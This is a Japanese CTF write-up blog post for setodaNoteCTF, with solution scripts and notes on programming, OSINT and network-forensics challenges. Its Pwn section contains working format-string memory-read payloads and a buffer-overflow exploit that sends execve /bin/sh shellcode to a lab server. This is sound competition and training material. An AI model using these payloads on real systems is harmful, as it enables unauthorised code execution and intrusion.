ペンギン技術 blog

CTFのWriteupなどを記載していこうと思います

setodaNoteCTF Writeup [Programing]

Programing

ZZZIPPP

何重にも入れ子になったZIPファイルをわたされる。
スクリプトを作成するのが狙いと思われるが、 MACで解凍したら自動ですべて解凍されてしまったので、フラグが得られた。

echo_me

ncでつないでサーバと会話する問題
サーバから来た数値と同じ数値を回答するだけ
回数が多く、手作業ではつらいのでプログラムを組んで対応

$ nc 10.1.1.10 12020
==========
echo me: 36508326
==========
36508326
Correct!

==========
echo me: 22493224
==========

以前、似たようなプログラムを書いたことがあったのですぐに終わると思われたが、
python3対応と、うまく動作しないことから長時間かかった
(サーバに送信する回答に余計な文字が入っており、2回目から正解しなくなっていた)

プログラムはぐちゃぐちゃだが、以下

#!/usr/bin/python
import socket
import datetime
import re
import time

PORT=12020
IP='10.1.1.10'

client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect((IP,PORT))

loop_count=0
answer=''
while True:
        res=client.recv(1024)
        res = res.decode("utf-8")
        print(res)

        q_match = re.search(r'echo me',res)
        flag_match = re.search(r'flag',res)

        if q_match:
                print ('---Question_match---')
                q_str = res[q_match.start():-3]
                print ("q_str:={}!!!".format(q_str))

                q_str2 = q_str.split(' ')
                print ("q_str2[2]={}!!!".format(q_str2[2]))

                answer = q_str2[2]
                print ("ans:" + answer.replace('=',''))
                answer = answer.replace('\r','')
                answer = answer.replace('\n','')
                answer = answer.replace('=','')
                answer = str(answer)+'\n'

                client.sendall(answer.encode("utf-8"))
                print ('send answer={}???'.format(answer))
                #time.sleep(1)

        if flag_match:
                print ('flag_match')
                client.close()
                break
        time.sleep(0.1)

実行例

send answer=31056776
???
Correct!

==========
echo me: 44313160
==========

---Question_match---
q_str:=echo me: 44313160
========!!!
q_str2[2]=44313160
========!!!
ans:44313160

send answer=44313160
???
Correct!

flag{xxxxx}

flag_match

EZZZIPPP

何重にも入れ子になったZIPファイルをわたされる。
今回はパスワードつきであり、ファイルごとにパスワードが異なる。
そのため、MACで解凍したも自動ですべて解凍されない。
(pass.txtにパスワードが書いてある)

スクリプトを作成するのが狙いと思われる。
以下のようなスクリプトで全て解凍した。

# extract password zip
import zipfile

filenameOut = "/home/pi/work/passZIP_test"
passStr = "lCfIpIq2Ka"

cnt = 1000
for i in range(999):
  filenameIn = "/home/pi/work/passZIP_test/flag{}.zip".format(str(cnt))

  path = "pass.txt" # password for zipfile
  with open(path) as f:
    for s_line in f:
      s_line = s_line.replace("\n","")
      print(s_line)
      passStr = s_line

  with zipfile.ZipFile(filenameIn) as pass_zip:
    pass_zip.extractall(filenameOut, pwd=passStr.encode("utf-8"))

  cnt -= 1
$ cat flag.txt
flag{xxxxx}

deep_thought

計算した数値を返す問題
手作業ではつらいのでプログラムを組んで対応

$ nc 10.1.1.10 12010
[ Q1 ]
4 - 2
2
Correct!

[ Q2 ]
2 + 3
5
Correct!

[ Q3 ]
13 + 10
#!/usr/bin/python
import socket
import datetime
import re
import time

PORT=12010
IP='10.1.1.10'

client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.settimeout(1.0)

client.connect((IP,PORT))

loop_count=0
answer=''
while True:
    res_a = ''
    for i in range(2): # 繰り返してすべて受信
        try:
            res = client.recv(1024)
        except Exception as e:  # socket.timeout
            print(e)
            print(type(e))

        #print("i:{} / res={}=".format( i, str(res)) )
        print ("recv:"+str(i))

        res_a += res.decode("utf-8")
        print("{}res_a={}=".format( i,str(res_a)) )
        time.sleep(0.1)

    q_match = re.search(r' Q',res_a)
    flag_match = re.search(r'flag',res_a)

    if q_match:
        print ('---Question_match---')
        q_str = res_a[q_match.start():-1]
        print ("q_str:={}!!!".format(q_str))

        q_str2 = q_str.split('\n')
        eva_str = q_str2[1]
        print ("q_str2[1]={}!!!".format(eva_str) )

        answer = str(eval(eva_str)) #not secure!!

        answer = answer.replace('\r','')
        answer = answer.replace('\n','')
        answer = str(answer)+'\n'

        client.sendall(answer.encode("utf-8"))
        print ('send answer={}???'.format(answer))
        #time.sleep(1)

    if flag_match:
        print ('flag_match')
        client.close()
        break
    time.sleep(0.1)

実行例

---Question_match---
q_str:= Q50 ]
2183 + 1347
Correct!

[ Q50 ]
2183 + 1347!!!
q_str2[1]=2183 + 1347!!!
send answer=3530
???
recv:0
0res_a=Correct!

flag{xxxxx}

setodaNoteCTF Writeup [Pwn]

Pwn

tkys_let_die

$ nc 10.1.1.10 13020で接続し、 名前を聞いてくるプログラムを突破する問題

通常の値を入れた場合

You'll need permission to pass. What's your name?
> aa
Gate is close.
Goodbay aa.

変な値を入れた場合

You'll need permission to pass. What's your name?
> aaaa %x %x %x %x %x %x %x %x %x %x
Gate is %x %x .
Goodbay aaaa %x %x %x %x %x %x %x %x %x .

→Gateのステータスがおかしいので、効いている気がする

%xを短くしてみる

You'll need permission to pass. What's your name?
> aaaa %x %x %x %x %x %x %x         
Gate is close.
Goodbay aaaa %x %x %x %x %x %x %x.

だめそう

これなら?

You'll need permission to pass. What's your name?
> aaaa %x %x %x %x %x %x %x %x
Gate is %x.
Goodbay aaaa %x %x %x %x %x %x %x %x.

ちょうどよさそう

1を指定してみる

You'll need permission to pass. What's your name?
> aaaa %x %x %x %x %x %x %x 1 
Gate is 1.
Goodbay aaaa %x %x %x %x %x %x %x 1.

ダメもとでopenを指定してみる

You'll need permission to pass. What's your name?
> aaaa %x %x %x %x %x %x %x open

 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{xxxxx} <<

    *-*-*-*-*-*-*-*-*-*-*-*   

 =============================

1989

$ nc 10.1.1.10 13030
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x56578060] >> flag is here << 
        | 

Ready > 1
Your Inpur : 1

いつもの

Ready > aaaa %x %x %x %x %x %x %x %x %x %x
Your Inpur : aaaa ff9f1c30 ff9f2038 5655b306 61616161 20782520 25207825 78252078 20782520 25207825 78252078

入力した「aaaa」が
4番目にメモリ上の値(61616161)として見える
CWE-134は書式文字列攻撃

はまりポイント
・フラグのアドレスは固定だと思って2回目以降をよく見ていなかったが、
 変わっていた
・\x**表記ではうまくいかなかった
(アドレスがASCIIコードの範囲内の場合、できた)
・バックスラッシュと円記号の違い
 手元では同じに見えた→\x(バックスラッシュ) ¥x(円記号)

        | 
flag    | [0x565de060] >> flag is here << 
        | 

Ready > \x60\xe0\x5d\x56 %4$s
→何も出ない(Segmentation Faultで終了?)

アドレスがASCIIコードの範囲内の場合
アドレス並び替えASCIIコード

0x565c6060→60605c56→``\V
        | 
flag    | [0x565c6060] >> flag is here << 
        | 

Ready > ``\V %4$s
Your Inpur : ``\V flag{xxxxx}

アドレスがASCIIコードの範囲外(\x80を含むアドレス)の場合もあり、もっとやり方はないのか?
Pythonでプログラム書いて接続すれば行けそうな気がする

参考
書式指定文字列攻撃
https://kusano-k.hatenadiary.com/entry/20140302/1393781714
バイナリが手元にある場合はpythonを使い、以下のようにできるらしい
$ python -c 'print "\xfc\x97\x04\x08 %4$s"' | ./bug

Format String Exploitを試してみる
https://ptr-yudai.hatenablog.com/entry/2018/10/06/234120

"%x"などはスタック上にある値をそのまま出力するだけですが,"%s"はその値をポインタとして読んでくれます.
そのため,スタック上に読みたいアドレスが置かれていれば,その引数の番号を"%n$s"のように指定することで
データを読み出すことができます.
もちろん読み出せないアドレスが指定されるとSegmentation Faultで終了します.
printfに渡すバッファがローカル変数の場合,そのバッファ自体もスタック上に存在するので,
"\xAA\xBB\xCC\xDD%n$s"のようなバイナリを送ることで任意のアドレスのデータを読み出すことも可能です

Shellcode

300

添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。

nc 10.1.1.10 13050

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

入力してみる

$ nc 10.1.1.10 13050
       |
target | [0x7ffe157fbc70]
       |
Well. Ready for the shellcode?
> 1

いつもの

Well. Ready for the shellcode?
> aaaa %x %x %x %x %x %x %x %x %x %x
aaaa %x %x %x %x %x %x %x %x %x %x

さすがに効かない

(解けていない)

(追記)
Writeup
https://github.com/satoki/ctf_writeups/tree/master/setodaNote_CTF/Shellcode
まだ読めていませんがリンクだけ

理解はまだですが、上記そのまま試したログです

user@c361011ad604:~$ vi a.py

import re
import sys
import socket

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect(("10.1.1.10", 13050))
c.settimeout(1)

leak = b"[0x000000000000] ;("
try:
    leak = c.recv(256) + c.recv(256) + c.recv(256)
except:
    pass
leak = "0000" + re.search("\[0x(.*)\]", leak.decode()).group(1)
print(leak)

payload = b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"
payload += b"A"*(88-len(payload)) + bytes.fromhex(leak)[::-1] + b"\n"
c.send(payload)
print(payload)

_ = c.recv(256)

c.send(f"{sys.argv[1]};ls\n".encode())
print(c.recv(512).decode())


user@c361011ad604:~$ python3 a.py "ls /"
00007fff1c9755d0
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0U\x97\x1c\xff\x7f\x00\x00\n'
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

user@c361011ad604:~$ python3 a.py "ls /home/user/"
00007ffe5a686850
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPhhZ\xfe\x7f\x00\x00\n'
flag
shellcode

user@c361011ad604:~$ python3 a.py "cat /home/user/flag"
00007ffc4313a5a0
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xa5\x13C\xfc\x7f\x00\x00\n'
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

user@c361011ad604:~$ python3 a.py "cat /home/user/shellcode"
00007ffdeb742f70
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp/t\xeb\xfd\x7f\x00\x00\n'
Traceback (most recent call last):
  File "a.py", line 25, in <module>
    print(c.recv(512).decode())
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 24: invalid start byte
user@c361011ad604:~$ 

setodaNoteCTF Writeup [OSINT]

OSINT

tkys_with_love

コールサイン C6DF6」でGoogle検索
https://idyllicocean.com/vdb/ship18_vsl_info.php?id=2975

Dorks

サイトの中で login.php が不用意に公開されていないかを Google を使って確認するように依頼を受けました。
Google で login.php を URL に含むページを検索するための検索語句を検索演算子を含めてすべて小文字で
フラグ形式にして答えてください。

inurl:login.phpで検索できます

filters_op

Twitter アカウント @cas_nisc が2017年5月15日にツイートした注意喚起に付与されている
英字のハッシュタグをフラグ形式で答えてください。

Twitterにて期間指定して検索
@cas_nisc since:2017-5-15 until:2017-5-16

以下が該当のtweet

"【現在拡散中の #ランサムウェア ( #WannaCrypt )への対応方法】"をまとめました。

MAC

MACアドレスのベンダーコードを調べるだけ

MACアドレス検索
https://uic.jp/mac/

00:03:93 Apple→A
00:01:A9 BMW→B

頭文字をとる

tkys_eys_only

画像のURLに緯度経度があるのでGoogleマップで調べるだけ
https://www.weather.gov/MapClick.php?lat=40.749444&lon=-73.968056

40.749444,-73.968056

flag{United_Nations_Headquarters}→ハズレ
flag{The_United_Nations_Headquarters}→ハズレ
flag{Headquarters_of_the_United_Nations}→ハズレ
flag{United_Nations_Secretariat_Building}→ハズレ
flag{German_Radio_Network}→ハズレ
→当たり。時間を無駄にした感。

MITRE

T1495T1152T1155T1144 T1130T1518
flag{T1170T1118T1099T1496T1212_T1531T1080T1127T1020T1081T1208_T1112T1098T1199T1159T1183T1220_T1111T1147T1220}

フラグに英字が含まれる場合はすべて大文字で答えてください。

MITREのTechniquesに関する問題

T****のIDを以下にて検索した
https://attack.mitre.org/techniques/T1220/

また、採番が変わったせいか、上記にて該当しない番号あり。以下にて検索した
https://www.attack-mitre-japan.com/techniques/enterprise/

問題文一行目のMITREのTechniquesのタイトルの頭文字をとると、「FLAG IS」になる

T1495 Firmware Corruption
T1152 Launchctl
T1155 AppleScript
T1144 Gatekeeper Bypass

T1130 Install Root Certificate
T1518 Software Discovery

同様に検索する

T1170 Mshta
T1118 InstallUtil
T1099 Timestomping - Red Teaming Experiments
T1496 Resource Hijacking
T1212 Exploitation for Credential Access
T1531 Account Access Removal
T1080 Taint Shared Content
T1127 Trusted Developer Utilities Proxy Execution
T1020 Automated Exfiltration
T1081 Credentials in Files
T1208 Kerberoasting

T1112 Modify Registry
T1098 Account Manipulation
T1199 Trusted Relationship
T1159 Launch Agent
T1183 Image File Execution Options Injection
T1220 XSL Script Processing
T1111 Two-Factor Authentication Interception
T1147 Hidden Users
T1220 XSL Script Processing

Ropeway

Google画像検索よりかんざんじロープウェイとわかる

https://www.kanzanji-ropeway.jp

N-th_prime

200

電車の中で誰かの会話が聞こえてきます。

「巨大な素数の秘密を知っているか兄者」
「知っているとも弟者。巨大な素数は秘密を守る要なのさ」
「兄者、1番目の素数は?」「2 だ」
「2番目の素数は?」「3 だ」
「数え上げて 72057594037927936 番目の素数は?」「・・・」
「兄者マテッ!ときに落ち着けって!」

数え上げて 72057594037927936 番目の素数をフラグ形式で答えてください。
例えば 11 だった場合は flag{11} と答えてください。

72057594037927936 番目の素数を答える問題

高速なプログラムがあった
https://ikatakos.com/pot/programming_algorithm/number_theory/prime_judge
素数について次に見つかる倍数を保持

短時間で計算できるのは8桁番目の素数(871643389とか)ぐらいまで
30分程度では計算が終わらない
OSINTなので計算ではないか・・・

半日ぐらいで↓ぐらいまでしか計算できず

895562208番目の素数20316888131
895562209番目の素数20316888161
895562210番目の素数20316888191

List of prime numbers up to 1 000 000 000 000 (1000 billion)
http://compoasso.free.fr/primelistweb/page/prime/liste_online_en.php

       1000000000000までならあった  
   72057594037927936 番目(2^56)の素数なので足りない  

とても桁の大きな素数ならあるが何番目かはわからない
https://en.wikipedia.org/wiki/Largest_known_prime_number

(解けていない)

(追記)
primecountというプログラムでできるとのこと

コンパイル

$ git clone https://github.com/kimwalisch/primecount

$ cd primecount
$ cmake .
-- The CXX compiler identification is GNU 7.5.0
:

$ make -j
Scanning dependencies of target libprimesieve-static
[  1%] Building CXX object lib/primesieve/CMakeFiles/libprimesieve-static.dir/src/api-c.cpp.o
:

$ ls -ltr
:
-rwxrwxr-x 1 bird bird 690784 Sep 10 11:45 primecount
drwxrwxr-x 8 bird bird   4096 Sep 10 11:45 CMakeFiles

実行

$ ./primecount 72057594037927936 --nth-prime --threads=4
2991614170035124397

↑数秒とはいかなかったが、1分もかからなかった・・・

$ ./primecount 895562210 --nth-prime --threads=4
20316888191

↑別スクリプトで半日かかって出した素数。本スクリプトでは1秒もかからず

identify_the_source

250

組織はある攻撃者グループの動向を調査しています。
あなたは旧知の情報提供者からその攻撃者グループが攻撃に利用しようとしているというファイルを
入手することに成功しました。情報提供者はファイルの配布元URLの情報も持っているようですが、
そちらの情報を入手するためには高額な対価が必要となりそうです。
あなたが自由にできる予算は限られています。
巧みな話術でどうやらあるマルウェア解析サイトから取得した情報であるようだというところまでは
聞き出せました。
組織はあなたに配布元URLを特定し、攻撃を未然に防ぐとともに攻撃者グループに関する重要な情報が
含まれていないか調査するよう指示を出しました。

添付されたファイルを解析して関連する配布URLを特定、調査し、フラグを入手してください。

ファイルがわたされ、配布元(ソース)を探す問題

関係ないかもしれないが、VTにあげているひとがいた
(日時からしてたぶん参加者。特に情報はなさそう)
https://www.virustotal.com/gui/file/64f10be20a97f7d25fd23d48e563cc391c54882c97d1c232832ea6beb61ca1da/details

flagについての記載を削ったもの https://www.virustotal.com/gui/file/cae8bccc2939d6ac009b1d3c0c6191e99a2a0b14a3d771e5e6815b001f9b5f00/details

ほかにハッシュ検索とかあれば・・・
ハッシュ値Google検索しても何も出ない

OSINTツール Mitaka でディグってみよう
https://ninoseki.github.io/2018/08/03/mitaka.html
上記ツールでハッシュを片っ端から調べる

以下が該当
https://www.hybrid-analysis.com/sample/64f10be20a97f7d25fd23d48e563cc391c54882c97d1c232832ea6beb61ca1da

Associated URLs
https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/tsuru

アクセスしてみる

<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nice try!</center>
</body>
</html>

何もない

トップページは
https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/

<!DOCTYPE HTML>
<html>
    <head>
        <title>Good job</title>
        <meta charset="utf-8" />
        <link rel="stylesheet" href="main.css" />
    </head>
    <body>
        <p>NO DATA</p>
    <br />
    <br />
    <br />
    <br />
    :(長いので略)
    <p deleteTime="1626307200">The flag is no longer here.</p>
    </body>
</html>

消されている

魚拓を探すとあった
https://megalodon.jp/?url=https%3A%2F%2Fyrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net%3A443%2F&all=1

取得済みの魚拓
2021年7月22日 23:39 Good job
2021年7月21日 00:25 Good job
2021年7月20日 12:15 Good job
2021年7月20日 01:36 Good job
2021年7月20日 00:21 Good job
2021年7月19日 23:35 Now loading
2021年7月19日 19:20 Now loading
2021年7月18日 23:54 Now loading
2021年7月18日 16:53 Now loading
2021年7月18日 16:15 Now loading
2021年7月18日 11:20 Now loading
2021年7月18日 00:31 Now loading
2021年7月17日 15:48 Now loading
2021年7月17日 15:04 Now loading
2021年7月17日 08:35 Now loading
2021年7月16日 19:56 Now loading
2021年7月16日 12:25 Now loading
2021年7月15日 18:59 Now loading
2021年7月15日 18:00 Now loading ★消された後
2021年7月15日 01:15 Now loading
2021年7月15日 01:03 Now loading ★flagあり
2021年7月15日 00:51 Now loading ★flagあり
2021年7月15日 00:41 Now loading ★flagあり
2021年7月15日 00:30 Now loading
2021年7月15日 00:20 Now loading
2021年7月14日 21:46 bbb
2021年7月14日 12:30 fla_
2021年7月14日 08:19 bbbb
2021年7月13日 15:09 bbbb
2021年7月13日 01:49 bbbb
2021年7月11日 13:40 bbbb
2021年7月11日 08:15 bbbb
2021年7月11日 00:34 bbbb
2021年7月10日 17:47 bbbb
2021年7月9日 22:07 aaa
2021年7月9日 20:35 aaa
2021年7月9日 00:46 aaa
2021年7月9日 00:44 取得エラーでした

大量に候補がある
deleteTime="1626307200"より、2021年7月15日 9:00 (JST)頃消されたと思われる

UNIX TIMEの変換)
https://www.convert-unix-timestamp.com/unixtime/1626307200#.YSszJ477SFE

Unix Timestamp: 1626307200
Thursday, July 15. 2021, 12:00:00 AM UTC

それより前を片っ端から見る
https://megalodon.jp/2021-0715-0103-05/https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net:443/
フラグがあった

secret_operation

ブラウザのキャプチャのような画像を渡される
ページの一部情報にマスクがかけられているが、
URLはわかる

画像のURLにアクセス
https://green-pond-97ff.setodanote.net/

Your info
Country: JP

とかが表示される。画像とは異なるページに見える
マスクされていた情報自体が表示されていない

接続元の国によって異なるページを表示させている?

UbuntuにTorブラウザーをインストール

sudo apt install torbrowser-launcher 

接続元を設定

$ locate torrc
/etc/tor/torrc
/home/user/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc

以下を記載
$vi /home/user/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc

ExitNodes {ru} StrictNodes 1

上記だけであらためてアクセスしたが、
「Country: T1」となってしまった

Torの出口ノードだとなるらしい?
接続しなおしてもダメ

https://iplocation.com/だとロシアになっていた

関係は分からないが、以下で「Country: RU」とできた
(経路が変わってTorの出口ノードがかわったのかもしれない)

入口ノードもtorrcへ追加

EntryNodes {ca} StrictNodes 1

Torブラウザーの設定(GUI)で
Tor Settings 「Bridges」
→Use a bridgeを選択
→Select a built-in bridge 「obfs4」を選択

あらためてアクセス

Information Display

The time is always right to do what is right.

@aarron142857

Your info

City: undefined

Region: undefined

Country: RU

Timezone: Europe/Moscow


Молодец против овец, а против молодца и сам овца.

Link

今度は画像と同じページのようだ
Twitterへのリンクがある
https://twitter.com/aarron142857

「Link」には以下へのリンクがあり、アクセスするとBASIC認証が出る
https://billowing-poetry-3254.setodanote.net

Twitterにて@aarron142857が「いいね」しているツイートにヒントがあった
https://twitter.com/David3141593/status/1371974874856587268
@aarron142857のツイートしているPNG画像に↑と同じものがある

Twitterに「画像に見せかけてZIPファイルを投稿する方法」
https://gigazine.net/news/20210319-twitter-zip-png-upload/
上記を参考に「Twitter Image Downloader」を使って、
Twitterの画像を原寸大でダウンロード

画像の拡張子をZIPにして、7zipにて解凍

解凍してでてきたPNGより、以下の情報がわかる

USER: << CHECK MY BIOI >>
Password: right_next_to_you

認証情報は@aarron142857のTwitterのプロフィールより、以下

J.S
right_next_to_you

あらためて、以下へアクセスしてBASIC認証を通ると
https://billowing-poetry-3254.setodanote.net

Classified information
Operation [-- CENSORED --]
... Вы ведь не из моей страны?

↓翻訳
... あなたは私の国の人ではないですよね?
ここも接続元の国をみているっぽい

Torブラウザーにて接続

Classified information
Operation flag{=xxxxxx=}

The operation is already in the execution phase.

All information will be erased.

フラグが見えた

setodaNoteCTF Writeup [Network]

Network

Host

wireshakでpcapファイルを開き、HTTP通信を見る

GET / HTTP/1.1
Host: ctf.setodanote.net

tkys_never_die

wireshakでpcapファイルを開く
ファイル→オブジェクトをエクスポート→HTTP
PNGファイルができる

echo_request

wireshakでpcapファイルを開く
icmpでフィルタをかける
ICMP Dataが不自然な部分が続いているので連続で見ていく

From Hexで戻すとフラグがでてくる
https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=MmU2NjZjNjE2NzdiNDk0MzRkNTA1ZjU0NzU2ZTZlNjU2YzY5NmU2NzVmNTQzMTMwMzkzNTdkMmUyZQ

2e2e666c61677b49434d505f54756e6e656c696e675f54313039357d2e2e

stay_in_touch

あなたはある事件の調査としてある人物の通信を監視しています。
どうやら誰かと連絡を取り合っているようです。
通信データファイルを解析し、やりとりの内容を明らかにしてください。

添付されたファイルを解析し、フラグを入手してください。

wireshakでpcapファイルを開く
ファイル→オブジェクトをエクスポート→IMF

メールファイルができあがる
→有益な情報が見つからない

上記をテキストとしてみていたところ、
「Content-Type: multipart/mixed;」のメールがあったが、その下が出ていない

結局、wireshakで「オブジェクトをエクスポート」でエクスポートしたファイルでは不十分であった

再度、wireshakでpcapファイルを開く
wireshakの検索で、「Content-Type: multipart/mixed;」のメールを探す(パケット詳細を文字列検索)
追跡→TCPストリームでみる
データ表示をUTF-8形式とする

tcp.stream eq 12抜粋

Content-Type: multipart/mixed;     ★何かありそう
 boundary="------------E3A9083942D9027C4375FEE4"
Content-Language: en-US

This is a multi-part message in MIME format.
--------------E3A9083942D9027C4375FEE4
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit

アカリ課長補佐

 あ、試作機のレポートが
 届いておりましたので転送しておきます。
 なかなかの性能のようです。

 パスワードは別にお送りします。

~(略)~
> 
> いい訳ないじゃないの
> 

--------------E3A9083942D9027C4375FEE4
Content-Type: application/x-zip-compressed;
 name="Report-AV-T0097.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="Report-AV-T0097.zip"

UEsDBBQAAQAAADBq8FK0Nz5zSgAAAD4AAAATAAAAUmVwb3J0LUFWLVQwMDk3LnR4dAzRMzm6
s5vAM3huF0n2GEKFrarxVD3WvzurjKz9sjA7iD6nWis0GBRcIdcyrQkqliocBi2lCUB6J0hR
UgHzDVCnVx6LnLS5LenqUEsBAj8AFAABAAAAMGrwUrQ3PnNKAAAAPgAAABMAJAAAAAAAAAAg
AAAAAAAAAFJlcG9ydC1BVi1UMDA5Ny50eHQKACAAAAAAAAEAGADNWpx++XnXARJtllL6edcB
0TOVfvl51wFQSwUGAAAAAAEAAQBlAAAAewAAAAAA
--------------E3A9083942D9027C4375FEE4--

上記(UEsDBBQAAQAAAD~AewAAAAAA)をBase64デコードして
ZIPファイルとして保存(サイバーシェフ使用)
解凍しようとするとメールの通り、パスワードがかかっていた

tcp.stream eq 12より後ろのメールを見てみる

tcp.stream eq 14抜粋

アカリ課長補佐

お疲れ様です。
セトダです。

 先ほどのファイルのパスワードです。

  Yatagarasu-Takama-Kamuyamato2

ZIPを解凍

This is Flag.

 flag{xxxxx}

yes_you_can

150

精密機械の技術者である古い友人から一通の封筒が送られてきました。
中にはあなたに解析してほしいと震えた筆跡で書かれた手紙と1枚の SD カード。
SD カードの中には1つのファイルが記録されていました。

添付されたファイルを解析してフラグを入手してください。

dump.logがわたされる

(1628245600.155918) vcan0 095#800007F400000017
(1628245600.157006) vcan0 1A4#000000080000003E
(1628245600.157018) vcan0 1AA#7FFF00000000673F
(1628245600.157020) vcan0 1B0#000F0000000175
(1628245600.157023) vcan0 1D0#000000000000000A
:

candumpというツールのログっぽい??
94667行もある・・・
(解けていない)

Digdig

200

組織内の通信を監視している部署からマルウェア感染した端末から
他にはない不審な通信が発生していたことが分かり、急ぎ解析してほしいを依頼がありました。
どうやら、通信自体は組織内で許可されているプロトコルが使用されていたため外部に
通信できた可能性もあり焦っているようです。

添付されたファイルを解析し、フラグを入手してください。

大量にあるサブドメインに何かありそう
サブドメインをサイバーシェフ「From Hex」で戻すと意味のある文字列になる

setodanotenetÀ####
00500000LFI2358AA33
.P..ò5.£.

005aa002735f69735f44414d
.Z .s_is_DAM

005aa00663655f7472795f53
.Z .ce_try_S

005aa0034d595f464c41477d
.Z .MY_FLAG}
↑ダミーフラグ?

005aa0085f746861747d2066
.Z ._that} f

005aa00a6c61677b444e535f
.Z 
lag{DNS_

005aa00b5333637572313779
.Z .S3cur17y

005aa0076f7272795f666f72
.Z .orry_for

005aa00420666c6167206973
.Z . flag is

005aa0096c61672069732066
.Z     lag is f

005aa00c5f5431303731217d
.Z ._T1071!}

005aa011797d323232323232
.Z .y}222222

005aa00d20666c6167206973
.Z 
 flag is

005aa00f335f6b33795f3135
.Z .3_k3y_15

005aa00e20666c61677b3768
.Z . flag{7h

005aa001666c61677b546869
.Z .flag{Thi

005aa0105f35336375723137
.Z ._53cur17

005aa000666c616720697320
.Z .flag is 

005aa00520666c61677b4e69
.Z . flag{Ni

量が多すぎるし、フラグっぽい文字列も多く、フラグがわからない
左端は文字列にならないが、順序などを示す領域なのでは?
「005aa」は共通なので削除して、その右3桁で並べ替えてみる

000666c616720697320
flag is 

001666c61677b546869
flag{Thi

002735f69735f44414d
s_is_DAM
0034d595f464c41477d
MY_FLAG}
↑ダミーフラグ

00420666c6167206973
flag is

00520666c61677b4e69
flag{Ni

00663655f7472795f53
ce_try_S

0076f7272795f666f72
orry_for

0085f746861747d2066
_that} f

0096c61672069732066
lag is f

00a6c61677b444e535f
lag{DNS_

00b5333637572313779
S3cur17y

00c5f5431303731217d
_T1071!}

00d20666c6167206973
flag is

00f335f6b33795f3135
3_k3y_15

00e20666c61677b3768
flag{7h

0105f35336375723137
_53cur17

011797d323232323232
y}222222

手作業できつかったので、次はプログラム組むなどで対処したい・・・
pythonのdpktモジュールでpcapファイル解析できるらしい
pysharkというのでも読み込めるようだ

Logger

250

夕暮れ時、あなたの携帯が鳴動します。相手の番号は不明。
非通知は拒否設定のはずと不思議に思いつつ電話に出ると「お前の秘密を知っている」
と低い男の声が聞こえすぐに切れてしまいました。
直後、あなたの携帯にファイルが添付された空白のメールが届きます。

添付されたファイルを解析してフラグを入手してください。

Wiresharkで開くと「Protocol USB」となっている

Leftover Capture Data: 0000080000000000 Leftover Capture Data: 0000150000000000 Leftover Capture Data: 0000000000000000 の特定箇所のみが変わっている
ここにフラグがある?
戻し方がわからないのと、1100パケットもあり、手動ではきつそう

protocol USBで検索してみる
USBキーボードの入力をキャプチャしたPCAPのようだ

https://note.com/kanzarashi/n/nb2dfd54f15b8
I_input_the_flag_1 (network:200)の箇所が参考になった

http://www.mindrunway.ru/IgorPlHex/USBKeyScan.pdf
こちらがUSBキーボードの番号対応表

本問題のキャプチャの該当箇所を手作業で順番に戻してみると
ONE POPULAR BUT
となり、方針はあっていそう

CTF終了まで残り1時間を切っていたため、自力でスクリプトを書く時間がない。
検索したところ、以下サイトが参考になった。

Decoding Mixed Case USB Keystrokes from PCAP
https://blog.stayontarget.org/2019/03/decoding-mixed-case-usb-keystrokes-from.html

tsharkコマンドでキャプチャを読み出しできる

$ tshark -r logger.pcap
    1   0.000000        2.1.1 → host         USB 35 URB_INTERRUPT in
    2   0.000073         host → 2.1.1        USB 27 URB_INTERRUPT in
    3   0.143912        2.1.1 → host         USB 35 URB_INTERRUPT in
:

以下のようにするとキャプチャから必要な部分を取り出しできる

$ tshark -r logger.pcap -T fields -e usb.capdata | tr -d :
0200000000000000

0200120000000000

0200000000000000
:

キャプチャから必要な部分を取り出し、ファイルへ保存

$ tshark -r logger.pcap -T fields -e usb.capdata | tr -d : > output_usb.txt

サクラエディタで改行のみの行を削除

